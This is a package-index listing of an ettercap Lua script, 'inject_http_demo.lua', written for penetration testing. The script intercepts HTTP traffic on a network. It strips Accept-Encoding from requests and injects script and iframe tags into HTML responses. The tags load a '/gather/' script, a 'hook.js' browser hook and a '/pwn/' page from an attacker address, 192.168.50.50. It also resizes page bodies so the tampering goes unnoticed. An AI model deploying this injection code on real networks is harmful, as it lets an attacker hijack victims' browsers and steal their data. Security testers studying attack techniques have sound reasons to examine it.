This file is indexed.

/usr/share/ettercap/lua/scripts/inject_http_demo.lua is in ettercap-common 1:0.8.2-2build1.

This file is owned by root:root, with mode 0o644.

The actual contents of the file can be viewed below.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
---
--    Copyright (C) Ryan Linn and Mike Ryan
--
--    This program is free software; you can redistribute it and/or modify
--    it under the terms of the GNU General Public License as published by
--    the Free Software Foundation; either version 2 of the License, or
--    (at your option) any later version.
--
--    This program is distributed in the hope that it will be useful,
--    but WITHOUT ANY WARRANTY; without even the implied warranty of
--    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
--    GNU General Public License for more details.
--
--    You should have received a copy of the GNU General Public License
--    along with this program; if not, write to the Free Software
--    Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.


description = "This demonstrates TCP session tracking.";


local ffi = require('ettercap_ffi')
local eclib = require('eclib')
local hook_points = require("hook_points")
local shortsession = require("shortsession")
local packet = require("packet")
require("os")

-- We have to hook at the filtering point so that we are certain that all the 
-- dissectors hae run.
hook_point = hook_points.filter

function split_http(str)
  local break_start, header_end= string.find(str, '\r?\n\r?\n')
  if header_end == nil then
    -- We only see the headers. So, that's all we got.
    header_end = string.len(str)
  end

  local header = string.sub(str, 0, header_end)
  local body = string.sub(str,header_end+1)
  
  return header, body
end

function shrink_http_body(body)
  --local modified_body = string.gsub(body, '>%s*<','><')
  local body_len = string.len(body)
  if body_len == 155 then 
    -- ettercap.log("Here's the body: %s\n", body)
  end
  -- ettercap.log("Trying to shrink body size %d\n", body_len)
  local modified_body = string.gsub(body, '%s+',' ')
  return modified_body
end

function pad_http_body(body, len)
  if len <= 0 then
    return body
  end
  local padded_sep = ">" .. string.rep(" ", len) .. "<"
  local modified_body = string.gsub(body, '><',padded_sep, 1)
  return modified_body
end

-- We only want to mess around with TCP streams that have data.
packetrule = function(packet_object)
  if packet.is_tcp(packet_object) == false then
    return false
  end

  if packet_object.DATA.len == 0 then
    return false
  end

  return true
end

local tcp_session_key_func = shortsession.tcp_session("tcp_session_demo")
local ip_session_key_func = shortsession.ip_session("tcp_session_demo")

local create_namespace = ettercap.reg.create_namespace

local http_states = {}
http_states.request_seen  = 1
http_states.response_seen = 2
http_states.response_is_html = 3
http_states.body_seen     = 4
http_states.injected      = 5

function handle_request(session_data, packet_object)
  local tcp_session_data = session_data.tcp_session_data
  local buf = packet.read_data(packet_object, 4) 
  if buf == "GET " then
    tcp_session_data.http_state = http_states.request_seen
  end

  if tcp_session_data.http_state == http_states.request_seen then
    local request =  packet.read_data(packet_object)
    -- local mod_request = string.gsub(request, '[Aa]ccept.[Ee]ncoding', "Xccept-Xncoding")
    local mod_request = string.gsub(request, 'Accept.Encoding', "Xccept-Xncoding")
    if not (request == mod_request) then
      packet.set_data(packet_object, mod_request)
      -- ettercap.log("Tweaked accept-encoding\n")
    else 
      -- ettercap.log("request: %s\n", request)
      -- ettercap.log("Couldn't find accept-encoding\n")
    end
  end
end
function nocase (s)
  s = string.gsub(s, "%a", function (c)
    return string.format("[%s%s]", string.lower(c),
    string.upper(c))
  end)
  return s
end

local inject_patterns = {
  nocase("(<body[> ])"),
  nocase("(<head[> ])"),
  nocase("(<meta[> ])"),
  nocase("(<title[> ])"),
  nocase("(><a[> ])")
}
local inject_urls = {
   '<script src="http://192.168.50.50/gather/"></script>',
   '<script src="http://192.168.50.50:3000/hook.js"></script>',
   '<iframe src="http://192.168.50.50:8888/pwn/"></iframe>'
}

function inject_body(session_data,orig_body)
  local tcp_session_data = session_data.tcp_session_data
  local ip_session_data = session_data.ip_session_data
  if orig_body == nil then
    return nil
  end
  local orig_body_len = string.len(orig_body)
  -- ettercap.log("Orig body len %d\n", orig_body_len)

  -- Try to shrink the body down.
  local shrunk_body = shrink_http_body(orig_body)
  local shrunk_body_len = string.len(shrunk_body)
  -- ettercap.log("Shrunk body len %d\n", shrunk_body_len)

  -- Add rotating string here 
  if not ip_session_data.count then
    ip_session_data.count = 0
    ip_session_data.time = 0
  end
  if os.time() - ip_session_data.time > 5 then
    ettercap.log("Adding one\n")
    ip_session_data.count = ip_session_data.count + 1
    if ip_session_data.count > 3 or ip_session_data.count == 0 then
      ettercap.log("Resetting count\n")
      ip_session_data.count = 1
    end
    ip_session_data.time = os.time()
  end
  local inject_string = inject_urls[ip_session_data.count] 

  local inject_str_len = string.len(inject_string) - 2
  local delta = orig_body_len - shrunk_body_len - inject_str_len
  -- ettercap.log("Delta %d = %d - %d - %d\n", delta , orig_body_len , shrunk_body_len , inject_str_len)
  if delta < 0 then
    -- no room to inject our stuff! return.
    return nil
  end

  for i,pattern in pairs(inject_patterns) do

    local modified_body = string.gsub(shrunk_body, pattern, inject_string, 1)
    local modified_body_len = string.len(modified_body)
    if not (modified_body_len == shrunk_body_len) then
      -- Alright, let's pad things a little bit.
      local padded_body = pad_http_body(modified_body, delta)
      return padded_body
    end
  end

  return nil
end

function handle_response(session_data, packet_object)
  local tcp_session_data = session_data.tcp_session_data
  -- ettercap.log("handle_response...\n")
  -- If we do'nt have a state, then we shouldn't be doing anything!
  if tcp_session_data.http_state == nil then
    -- ettercap.log("No http state...\n")
    return nil
  end

  -- If we have already injected, then don't do anything.
  if tcp_session_data.http_state == http_states.injected then
    -- ettercap.log("already injected!\n")
    return nil
  end

  if tcp_session_data.http_state == http_states.request_seen then
    local buf = packet.read_data(packet_object, 8) 
    if not buf == "HTTP/1." then
      
      -- ettercap.log("not an HTTP response\n")
      return nil
    end
    tcp_session_data.http_state = http_states.response_seen
    -- Since we're in the header, let's see if we can find the body.
  end


  local buf = packet.read_data(packet_object) 
  local header = nil
  local body = nil
  if tcp_session_data.http_state <= http_states.response_is_html then
    -- Let's try to find the body.
    local split_header, split_body = split_http(buf)

    -- Keep track of our header.
    if split_header then
      header = split_header
      if string.find(split_header, "text/html") then 
        tcp_session_data.http_state = http_states.response_is_html
      end
    end

    if not split_body then
      -- No dice, didn't find the body.
      return nil
    end

    if not tcp_session_data.http_state == http_states.response_is_html then
      -- This isn't an HTML response .
      -- ettercap.log("This isn't an HTML response!\n")
      tcp_session_data.http_state = nil
      return nil
    end

    tcp_session_data.http_state = http_states.body_seen

    -- Stash our body.
    body = split_body

  end

  tcp_session_data.http_state = http_states.body_seen
  if tcp_session_data.http_state == http_states.body_seen then
    -- If we didn't already grab the body, then we aren't in the first packet
    -- for the response. That means that 
    --
    if not body then
      body = buf
    end

    local new_body = inject_body(session_data,body)
    if new_body == nil then
      -- ettercap.log("Could not inject.\n")
      return nil
    end

    tcp_session_data.http_state = http_states.injected
    if header == nil then
      header = ""
    end

    local new_data = header .. new_body

    -- Set the modified data
    packet.set_data(packet_object, new_data)
  end
end

-- Here's your action.
action = function(packet_object) 
  local tcp_session_id = tcp_session_key_func(packet_object)
  if not tcp_session_id then
    -- If we don't have tcp_session_id, then bail.
    return nil
  end

  local ip_session_id = ip_session_key_func(packet_object)
  if not ip_session_id then
    -- If we don't have ip_session_id, then bail.
    return nil
  end

  local ident_ptr = ffi.new("void *")
  local ident_ptr_ptr = ffi.new("void *[1]", ident_ptr)
  local ident_len = ffi.C.tcp_create_ident(ident_ptr_ptr, packet_object);

  local session_ptr = ffi.new("struct ec_session *")
  local session_ptr_ptr = ffi.new("struct ec_session *[1]", session_ptr)
  local ret = ffi.C.session_get(session_ptr_ptr, ident_ptr_ptr[0], ident_len) 
  if ret == -ffi.C.E_NOTFOUND then
    return nil
  end

  -- Find the direction of our current TCP packet. 
  -- 0 == client -> server
  -- 1 == server -> client
  local dir = ffi.C.tcp_find_direction(session_ptr_ptr[0].ident, ident_ptr_ptr[0])

  -- Now we are going to try to figure out if which direction things are
  -- going in.

  -- Get our session data...
  local tcp_session_data = create_namespace(tcp_session_id)
  local ip_session_data = create_namespace(ip_session_id)

  local session_data = {}
  session_data.tcp_session_data = tcp_session_data
  session_data.ip_session_data = ip_session_data

  if dir == 0 then
    handle_request(session_data, packet_object)
  else 
    handle_response(session_data, packet_object)
  end


  local src_ip = packet.src_ip(packet_object)
  local dst_ip = packet.dst_ip(packet_object)
  local src_port = ffi.C.ntohs(packet_object.L4.src)
  local dst_port = ffi.C.ntohs(packet_object.L4.dst)

  -- ettercap.log("tcp_session_demo: %d %s:%d -> %s:%d - state: %s\n", dir, src_ip, src_port, 
--                    dst_ip, dst_port, tostring(tcp_session_data.http_state))

end